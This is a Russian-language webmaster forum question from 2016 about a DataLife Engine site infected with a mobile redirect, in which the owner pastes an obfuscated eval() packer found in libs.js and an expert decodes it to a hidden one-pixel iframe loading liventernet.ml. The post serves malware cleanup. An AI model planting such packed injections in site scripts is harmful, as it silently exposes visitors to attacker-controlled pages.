Не нравятся результаты поиска? Попробуйте другой поиск!
dle-faq.ru FAQ (все вопросы) Общие вопросы Как вычеслить вредоносный код?

Как вычеслить вредоносный код?


     17.03.2016    Общие вопросы    759

вопрос
Здравствуйте. На сайте есть вредоносный код, который редиректит фиг знает куда когда заходишь с моб. телефона, но и с компа когда заходишь я нашел iframe через исходный код его не было видно а через иследовать элемент сразу был после тега
body
этот вред. код был вставлен в libs.js Вот сам код
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.b(\'<2 7="5://d.9/" f=1 4=1 8="c" g=0 6=0 a=0 e=h></2>\');',18,18,'||iframe|document|height|http|marginheight|src|style|ml|marginwidth|write|hidden|liventernet|scrolling|width|frameborder|no'.split('|'),0,{}))

А вто сам iframe
<iframe src="http://liventernet.ml/" style="hidden" marginheight="0" marginwidth="0" scrolling="no" frameborder="0" height="1" width="1"></iframe>

Вот вопрос от куда то этот скрипт берёт же этот ифрейм, не могу найти его. Может кто подскажет где он может находится?

Ответа пока нет


Комментарии пользователей (2)

Sander
1126

1637 | 1204

Sander - 19 марта 2016 02:55 - Эксперт

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3.b(\'<2 7="5://d.9/" f=1 4=1 8="c" g=0 6=0 a=0 e=h></2>\');',18,18,'||iframe|document|height|http|marginheight|src|style|ml|marginwidth|write|hidden|liventernet|scrolling|width|frameborder|no'.split('|'),0,{}))

Это
document.write('<iframe src="http://liventernet.ml/" width=1 height=1 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>');

SanDev.pro - мой блог.

ICQ: 404-037-556
Skype: Sander8804

Чтобы комментировать - войдите или зарегистрируйтесь на сайте

Похожие вопросы